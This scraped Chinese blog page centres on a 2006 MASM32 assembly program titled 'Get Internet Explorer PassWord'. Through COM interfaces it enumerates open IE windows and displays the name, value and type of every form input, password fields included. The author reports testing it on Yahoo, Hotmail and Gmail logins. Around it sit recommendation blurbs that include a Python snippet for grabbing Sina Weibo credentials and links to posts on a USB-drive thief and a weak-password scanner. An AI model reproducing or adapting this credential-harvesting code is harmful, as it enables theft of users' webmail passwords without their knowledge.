Get Internet Explorer PassWord

VC++实现浏览器密码框内容提取:Windows API与UI Automation实战 在Windows桌面应用开发与自动化测试领域,进程间通信与UI自动化是关键技术。其核心原理在于理解Windows的窗口消息机制与控件模型,通过窗口句柄、消息派发及内存操作实现跨进程数据访问。这项技术的工程价值在于能够构建轻量级自动化工具,辅助完成数据迁移、遗留系统集成及自动化测试等任务,尤其适用于处理传统桌面应用或特定浏览器内核的交互场景。本文聚焦于如何利用VC++结合Windows API与UI Automation,安全、合法地从运行中的浏览器进程提取密码框等控件的文本内容,涵盖了从窗口定位、消息发送到 阅读详情
comment %
                #--------------------------------------#          #
              #  Get Internet Explorer PassWord-->      #       #
            #    -->use DCOM InterFace(only a Demo)       #   #
          #                      2006.06.28                 #  
            #                    codz: czy                #   #
             #------------------------------------------#      #

system :test on ie6+XPSP2
webmail:test on yahoo,hotmail,gmail...
%




.586
.model flat, stdcall
option casemap :none   ; case sensitive

include /masm32/bin/iep.inc


; #########################################################################
.const
CLSID_ShellWindows              GUID    sCLSID_ShellWindows
IID_ShellWindows                GUID    sIID_ShellWindow
IID_WB                          GUID    sIID_WB
IID_DOC                         GUID    sIID_DOC
IID_HTMLFE                      GUID    sIID_HTMLFE
IID_HTMLIPTE                    GUID    sIID_HTMLIPTE

.data
format  db 'form num:%d',0
format2 db 'elem num:%d',0
b1      dw 'N','a','m','e','=','[',0,0
b2      dw 'V','a','l','u','e','=','[',0,0
b3      dw 'T','y','p','e','=','[',0,0
b4      dw ']',' ',0,0
b5      dw ']',13,10,'T','i','t','l','e','=',0,0
mynull  dw 'N','U','L','L',0,0
errgetforms db '得到FORMS错误',0

.data?
pps             dd      ?   ;IShellWindows
ppi             dd      ?   ;IWebBrowser2
ppi2            dd      ?
ppd             dd      ?   ;IHTMLDocument2
ppd2            dd      ?
pphtmlec        dd      ?   ;IHTMLElementCollection  
ppfe            dd      ?   ;IHTMLFormElement
ppfe2           dd      ?
ppie            dd      ?   ;IHTMLInputElement
ppie2           dd      ?   ;IHTMLInputTextElement

ienum           dd      ?   
formnum         dd      ?
elemnum         dd      ?

buffer          db      512 dup (0)
height          dd      ?
ielocation      db      256 dup(?)
tit             dd      ?
pieloc          dd      ?
inputtype       dd      ?
inputvalue      dd      ?
inputname       dd      ?
szinputname     db      64 dup (?)
szinputvalue    db      64 dup (?)
szinputtype     db      64 dup (?)
szietitle       db      256 dup (?)        

.code



CheckNull   proc    szinputaddr:dword,input:dword
            invoke lstrlenW,input
            .if eax==0
            invoke lstrcpyW,szinputaddr,addr mynull
            .else
            invoke lstrcpynW,szinputaddr,input,32
            .endif

            ret
CheckNull   endp

FindIEPass  proc
            LOCAL   urlstr: DWORD
            
            
        invoke  CoInitialize, 0
        invoke  CoCreateInstance, addr CLSID_ShellWindows, NULL,CLSCTX_ALL ,
                                  addr IID_ShellWindows, addr pps
        .IF eax == S_OK               
            coinvoke pps,IShellWindow,GetCount,addr ienum              
            .while ienum>0
            dec    ienum

            mov edx,dword ptr [pps]
            mov edx,[edx]
            
            lea  eax,ppi
            push eax
            
            push 0      ;/
            push ienum  ; /_VARIANT参数
            push 0      ; /
            push 3      ;/
      
            push dword ptr [pps]
            call dword ptr [edx+20h]
           ;IShellWindow->Item,这儿返回IWebBrowser2的Dispatch指针
            
            .if eax==0
            coinvoke ppi, IDispatch, QueryInterface, ADDR IID_WB, ADDR ppi2
            ;这儿得到IWebBrowser2的接口指针
            .if eax==0
            coinvoke ppi2, IWebBrowser2,LocationURL,addr pieloc
            invoke lstrcpynW,addr ielocation,pieloc,128
            coinvoke ppi2, IWebBrowser2, Document_get, addr ppd
            ;这儿得到IHTMLDocument2的Dispatch指针
            .if eax==0
            coinvoke ppd, IDispatch, QueryInterface, ADDR IID_DOC, ADDR ppd2
            ;这儿得到IHTMLDocument2的接口指针
            .if eax==0
            mov edx,dword ptr [ppd2]
            mov edx,[edx]
            
            lea  eax,tit
            push eax      
            push dword ptr [ppd2]
            call dword ptr [edx+4*17] ;IHTMLDocument2->gettitle
            
            invoke lstrcpynW,addr szietitle,tit,128
            ;invoke   MessageBoxW,0,tit,tit,1 ;UNICODE字串
            
            mov edx,dword ptr [ppd2]
            mov edx,[edx]
            
            lea  eax,pphtmlec
            push eax      
            push dword ptr [ppd2]
            call dword ptr [edx+4*14] ;IHTMLDocument2->getforms
            .if eax == 0
            
            
            mov edx,dword ptr [pphtmlec]
            mov edx,[edx]
            
            lea  eax,formnum
            push eax      
            push dword ptr [pphtmlec]
            call dword ptr [edx+4*9] ;IHTMLElementCollection->getformcount
            
            ;invoke wsprintf,addr buffer,addr format,formnum
            ;invoke   MessageBox,0,addr buffer,addr buffer,1
            
            .while formnum>0
            dec formnum
            
            mov edx,dword ptr [pphtmlec]
            mov edx,[edx]
            
            lea  eax,ppfe
            push eax
            
            push 0      ;/
            push 0      ; /_VARIANT参数
            push 0      ; /
            push 0      ;/            
            push 0      ;/
            push formnum; /_VARIANT参数
            push 0      ; /
            push 3      ;/                  
            push dword ptr [pphtmlec]
            call dword ptr [edx+4*11];IHTMLElementCollection->item3个参数           
            ;得到IHTMLFormElement的Dispatch指针
            
            coinvoke ppfe, IDispatch, QueryInterface, ADDR IID_HTMLFE, ADDR ppfe2
            ;得到IHTMLFormElement的接口指针
            mov edx,dword ptr [ppfe2]
            mov edx,[edx]
            
            lea  eax,elemnum
            push eax                 
            push dword ptr [ppfe2]
            call dword ptr [edx+4*27] ;IHTMLFormElement->getelementlength     
            
            ;invoke wsprintf,addr buffer,addr format2,elemnum
            ;这儿可以得到FORM里面的INPUT元素个数
              ;invoke   MessageBox,0,addr buffer,addr buffer,1
            .while elemnum>0
            dec    elemnum
            
            mov edx,dword ptr [ppfe2]
            mov edx,[edx]
            
            lea  eax,ppie
            push eax
            
            push 0      ;/
            push 0      ; /_VARIANT参数
            push 0      ; /
            push 0      ;/            
            push 0      ;/
            push elemnum; /_VARIANT参数
            push 0      ; /
            push 3      ;/                  
            push dword ptr [ppfe2]
            call dword ptr [edx+4*29] ;IHTMLFormElement->item 三个参数
            ;得到IHTMLInputElement的Dispatch指针
            .if eax==0
            coinvoke ppie, IDispatch, QueryInterface, ADDR IID_HTMLIPTE, ADDR ppie2
            ;得到IHTMLInputTextElement的接口指针
            .if eax==0
            ;---GET TYPE
            ;mov edx,dword ptr [ppie2]
            ;mov edx,[edx]
            ;lea  eax,inputtype
            ;push eax                             
            ;push dword ptr [ppie2]
            ;call dword ptr [edx+4*7] ;IHTMLInputTextElement->gettype
            coinvoke ppie2,IHTMLInputTextElement,GetType,addr inputtype
            invoke CheckNull,addr szinputtype,inputtype
            
            ;---GET VALUE
            coinvoke ppie2,IHTMLInputTextElement,GetValue,addr inputvalue
            invoke CheckNull,addr szinputvalue,inputvalue
            ;---GET NAME                        
            coinvoke ppie2,IHTMLInputTextElement,GetName,addr inputname
            invoke CheckNull,addr szinputname,inputname
            
            invoke   lstrcpyW,addr buffer,addr b1
            invoke   lstrcatW,addr buffer,addr szinputname
            invoke   lstrcatW,addr buffer,addr b4
            invoke   lstrcatW,addr buffer,addr b2
            invoke   lstrcatW,addr buffer,addr szinputvalue           
            invoke   lstrcatW,addr buffer,addr b4
            invoke   lstrcatW,addr buffer,addr b3
            invoke   lstrcatW,addr buffer,addr szinputtype
            invoke   lstrcatW,addr buffer,addr b5
            invoke   lstrcatW,addr buffer,addr szietitle

            invoke   MessageBoxW,0,addr buffer,addr ielocation,1
            .endif
            .endif
            .endw
            
            .endw
            .else
            invoke   MessageBox,0,addr errgetforms,addr tit,1
            .endif
            .endif
            .endif
            .endif


            .endif              

            .endw
            coinvoke pps, IShellWindow, Release
        .ENDIF
        invoke  CoUninitialize
        
            ret
FindIEPass  endp
        
start:
        invoke  FindIEPass
        invoke  ExitProcess,0
end start 
Windows共享文件夹凭据管理全攻略 网络共享访问是现代企业IT基础设施中的基础功能,其核心依赖身份认证机制实现权限控制。Windows系统通过凭据管理器自动缓存网络认证信息,该机制基于'目标地址+用户名'的哈希存储原理,虽提升了用户体验,但在多账户切换、密码变更等场景会产生认证冲突。从技术实现看,这些凭据分为Web凭据、Windows凭据和普通凭据三类,其中SMB协议共享访问主要涉及普通凭据。工程实践中,可通过图形界面、cmdkey命令行、注册表编辑和组策略四种方案管理这些缓存,特别是cmdkey工具能高效实现批量凭据更新。合理管理这些缓存凭 阅读详情

相关推荐

Claude Desktop接入DeepSeek V4 Pro完整指南

Claude Desktop本质上是兼容Anthropic API协议的前端壳,而非绑定特定模型的封闭应用。其核心原理在于通过标准/v1/messages接口、anthropic-version请求头及tool_use解析能力,实现对任意符合规范后端服务的对接。这种协议级兼容性赋予了开发者替换模型的技术自由度,显著提升本地AI编码工作流的可控性与稳定性。DeepSeek V4 Pro凭借完全兼容的Anthropic API网关、毫秒级响应和百万token上下文支持,成为替代官方服务的理想选择。本方案适用于企

weixin_30859423的博客 528

错误处理(4)—— “{000208D5-0000-0000-C000-000000000046}”的接口的 COM 组件调用 QueryInterface 因以下错误而失败

错误信息: 中文版—— 无法将类型为“Microsoft.Office.Interop.Excel.ApplicationClass”的 COM 对象强制转换为接口类型“Microsoft.Office.Interop.Excel._Application”。此操作失败的原因是对 IID 为“{000208D5-0000-0000-C000-000000000046}”的接口的

Hyman的博客 3万+

告别偏色!手把手教你用i1Profiler 3.5为喷墨打印机制作专属ICC曲线(附D50/D65光源选择指南)

本文详细介绍了如何使用i1Profiler 3.5为喷墨打印机制作专属ICC曲线,解决设备偏色问题。从色彩管理基础、软件配置到色块打印与测量实战技巧,逐步指导用户完成曲线制作,并提供了D50/D65光源选择指南,确保色彩还原精准。适合摄影师和设计师提升打印质量。

weixin_30613343的博客 1万+

Get username and password for sina weibo

#-*- coding: gb2312 -*- from win32com.client import Dispatch as DSP from PAM30 import PAMIE as PIE cls_id = '{9BA05972-F6A8-11CF-A442-00A0C90A8F39}' # find and attach the open IE def get_cur_ie():

玄冰幽阁 744

VS2017中调用gdal(C#版)的方法二(含gdal下载地址,配置过程,代码测试,超详细!!)

VS2017中gdal(C#)版的配置与测试 上次记录了直接在VS2017中下载并应用gdal的方法,这次来记录一下网上下载的安装包配置与测试的方法。 一、环境、版本及下载地址 win10,vs2017社区版,gdal2.4.4 还是像之前在Unity中应用gdal一样,最好是下载已经编译好的C#版的gdal,不然自己配置真的很容易出错,我就是这样的,下面提供不同版本的gdal下载地址: 1.GDAL2.4.4(C#版、64位): https://download.youkuaiyun.com/download/che

chengbaola的博客 1366

Altium Designer应用技巧5: Altium Live账号的获得

为了更好的应用Altium Designer,我们需要得到一个Altium Live账号,但从其英文或者中文官方网站取得,都需要7个工作日的时间,而且对于个人用户来说,并不是100%都能够获取到。本文介绍一种,从俄罗斯Altium官方网站获取账号的方法,可以立即使用。     1、点击http://live.altium-ru.com/#Join网址进入俄罗斯Altium官方网站,Altiu

snmplink的博客 1万+

TDengine 集群部署完全指南:手动、Docker 与 Kubernetes 三种方式实战

TDengine 是一个面向物联网、IT 监控与金融交易等场景的高性能时序数据库,其集群由 dnode、mnode 等节点构成,可通过多种方式搭建。本文以 [Deploying Your Cluster](https://link.gitcode.com/i/9af2e7763fa29d145f18b97424433605) 为主线,系统讲解在物理机/虚拟机上手动部署 taosd 集群、使用 Do

gitblog_00984的博客 805

射频仿真软件:ADS (Advanced Design System)_(29).ADS脚本编程与自动化

ADS脚本编程为射频设计提供了强大的自动化工具,可以帮助用户实现设计流程的优化、参数扫描和优化、结果分析和报告生成等任务。选择合适的脚本语言(Python、Tcl、AEL)并合理设置ADS环境,可以显著提高设计效率和准确性。通过实际项目中的应用案例,我们可以更好地理解如何利用脚本编程解决复杂的射频设计问题。希望本文对您的ADS脚本编程学习有所帮助。

kkchenjj的博客 2472

JARVIS Python 语音助手实战:用声音控制 Windows 程序(nitkarshchourasia/to_sort/JARVIS_python_bot 深度解析)

本篇技术指南围绕当前仓库 `nitkarshchourasia/to_sort/JARVIS_python_bot/` 目录下的 JARVIS 语音机器人展开,讲解如何用 Python 实现"报时 + 语音打开 Windows 原生程序(记事本、计算器、便笺、PowerShell、画图、cmd、浏览器)"的完整链路。读完本文,你将掌握 `pyttsx3` 语音合成、`speech_recognit

gitblog_00433的博客 180

【Unity实战篇 】| 游戏中实现镂空遮罩效果【矩形、圆形镂空遮罩】

本文来写一下怎样在Unity中完成一个 镂空遮罩 的效果。 镂空遮罩 比较常用的有两种:矩形镂空遮罩、圆形镂空遮罩。 镂空遮罩 在游戏中常被当做新手引导必备的内容,可以给玩家更多不一样的体验。 下面就一起来看一下怎样做出这种效果吧!

努力前行,总会成为自己心中的那道光 1万+

Autosar诊断实战系列23-NRC优先级解析

NRC分类,优先级判断逻辑及测试注意事项介绍。

initiallizer的博客 2621

Windows系统基础安全防护10大关键措施

操作系统安全是信息安全的基础防线,Windows作为最广泛使用的桌面系统,其安全防护尤为重要。从技术原理看,系统安全涉及身份认证、访问控制、漏洞防护等多层防御机制。通过账户管理、权限控制、系统更新等基础措施,能有效防范90%的常见攻击。在企业IT环境中,Windows安全加固是系统管理员的核心工作,包括启用UAC、配置防火墙、部署BitLocker等实践。特别对于Active Directory域环境,合理的组策略配置能大幅提升整体安全性。本文基于Windows Defender、PowerShell等原生

weixin_34014555的博客 339

Vue2 - 最新详细实现接入天地图详细配置流程及示例代码教程,提供获取用户当前定位的城市名称及省市区数据、精准经纬度信息、IP属地定位、地图搜索标点等示例,解决天地图跨域报错/页面白屏/定位不准问题

vue2,nuxt2,天地图,使用教程,vue接入国家天地图,定位api,ip属地定位,获取用户当前位置数据,省市区,地图不显示,白屏,报错,vue2如何使用天地图,地图选点,cors跨域,白名单设置了还是不行,vue项目调用天地图api实现定位,Vue2中使用天地图,详细教程,天地图申请密钥key教程,经纬度,经纬度不准确,一直定位北京,定位在北京不准怎么办,nuxt项目天地图,网站,网页,h5页面,地图显示不全,获取当前定位,如何使用天地图,拿到客户ip地址定位城市名称,距离计算,实时搜索地址逆解析,天

🏆 前端领域优质创作者 5329

TDengine 巡检工具 taosinspect 完全指南:集群环境自动化健康检查与配置详解

本指南系统讲解 TDengine 官方巡检工具 `taosinspect` 的使用方法、配置方式与巡检范围,涵盖本机 local 模式与集群 ssh 模式两种运行方式、全量/基础两种巡检粒度,以及从操作系统、磁盘、数据库服务到流计算、订阅的全维度检查项。读完本文,你将能够独立配置 `inspect.cfg`、运行巡检并解读结果文件,在集群投产前或运行期间完成环境健康度评估。 ## 背景:为什么需

gitblog_00030的博客 77

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

windows系统巡检命令及日常管理操作

CPU使用率 wmic CPU get loadpercentage /value|findstr [1-9] 或 wmic path win32_perfformatteddata_perfos_processor get name,PercentIdleTime cpu空闲时间(一直变化的) wmic path win32_perfformatteddata_perfos_process...

企业实战系列集 ●●● https://ximenjianxue.blog.youkuaiyun.com 1万+

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

VB 6 禁止WebBrowser网页跳转时发出的声音( webbrowser控件里所有声音屏蔽)

'有问题请到作者官网咨询留言吧。http://www.huosinet.com Public Enum INTERNETFEATURELIST FEATURE_OBJECT_CACHING = 0 FEATURE_ZONE_ELEVATION = 1 FEATURE_MIME_HANDLING = 2 FEATURE_MIME_SNIFFING = 3 FEATURE_WINDOW_RESTRICTIONS = 4 FEATURE_WE...

蚁族网安基地 482

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

Windows Knowledge

Windows Knowledge

汽车以太网和SOA 5449

TDengine 巡检工具 taosinspect 完全指南:自动化检查部署环境与运行状态

TDengine 集群运行一段时间后,操作系统内核参数、服务状态、磁盘水位、数据分布等都可能偏离最佳实践。`taosinspect` 是 TDengine 官方提供的巡检工具,用于对 TDengine 部署及其运行环境执行周期性、自动化的健康检查。本文将以当前仓库文档为核心,完整讲解 taosinspect 的命令行参数、配置文件格式、基础巡检与全量巡检的检查范围、结果文件结构,并结合仓库源码与测

gitblog_00564的博客 318

Rails(Action Controller)进阶主题实战指南:CSRF 防护、浏览器限制、HTTP 认证、流式下载与错误处理

本文基于 Rails 仓库内的官方技术指南 [guides/source/action_controller_advanced_topics.md](https://link.gitcode.com/i/6b2a2532bef0e5bd7089d60363cbaa62) 编写,围绕 `ActionController` 展开讲解控制器层面的进阶话题:跨站请求伪造防护、浏览器版本管控、内置 HTTP

gitblog_01187的博客 1107

TDengine 在 Kubernetes 上的部署实战:基于 kubectl 与 Helm 构建高可用集群

TDengine 作为面向云原生架构设计的时间序列数据库,天然支持 Kubernetes 部署。本文以官方部署文档为主体,完整讲解两条部署路径:一是使用 `kubectl` 配合 YAML 文件逐步搭建生产级高可用 TDengine 集群,二是使用 Kubernetes 包管理器 Helm 通过 Chart 完成更灵活的集群编排。读完本文,你将掌握 Service/StatefulSet/PVC

gitblog_01418的博客 518

mRemoteNG 外部工具(External Tools)实战配置速查:从 Ping、WinSCP 到 PowerShell 远程磁盘巡检

本指南以 mRemoteNG 官方文档《Common External Tool Configurations》为核心骨架,系统整理 14 个可直接照抄的外部工具配置示例,并结合仓库源码深入讲解变量展开、参数转义、进程启动与标签页集成等底层机制。读完本文,你可以在 mRemoteNG 中把任意命令行工具(Ping、Tracert、WinSCP、FileZilla、VNC、PowerShell 等)

gitblog_01415的博客 326

【课程设计】基于ssm学生成绩管理系统的设计与实现-计算机毕设 070942

学生模块: 账号登录认证。 管理个人资料信息,修改可修改的信息项。 课程成绩查询,同时查看历史已有成绩的记录。 教师模块: 提交学生成绩,同时查看历史已提交的学生成绩记录。 课程总成绩查询,同时查看历史已有成绩的记录。 管理员模块: 维护学生,审核学生的账号,可以冻结学生的登录权限,或者删除学生账号。 发布课程,并可以销毁某个课程,更新课程数据,模糊搜索课程数据等。 发布教师,并可以销毁某个教师,更新教师数据,模糊搜索教师数据等。 管理课程成绩数据。 查看教师提交的学生成绩数据,管理员有权利维护它。

Q_3461074420的博客 2060

(附源码)ssmJavaEE无人机数据管理系统-毕业设计 课程设计 111022

本设计主要实现集人性化、高效率、便捷等优点于一身的无人机数据管理系统 ,完成管理员、无人机信息、品牌管理、飞行数据、使用记录、故障维修、机型管理等功能模块。系统通过浏览器与服务器进行通信,实现数据的交互与变更。只需通过一台电脑,动动手指就可以操作系统,实现数据通信管理。整个系统的设计过程都充分考虑了数据的安全、稳定及可靠等问题,而且操作过程简单。本系统通过科学的管理方式、便捷的服务提高了工作效率,减少了数据存储上的错误和遗漏。...

Q_3461074420的博客 2739
上一篇: 闪盘小偷的实现与代码
下一篇: NTFS文件系统
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值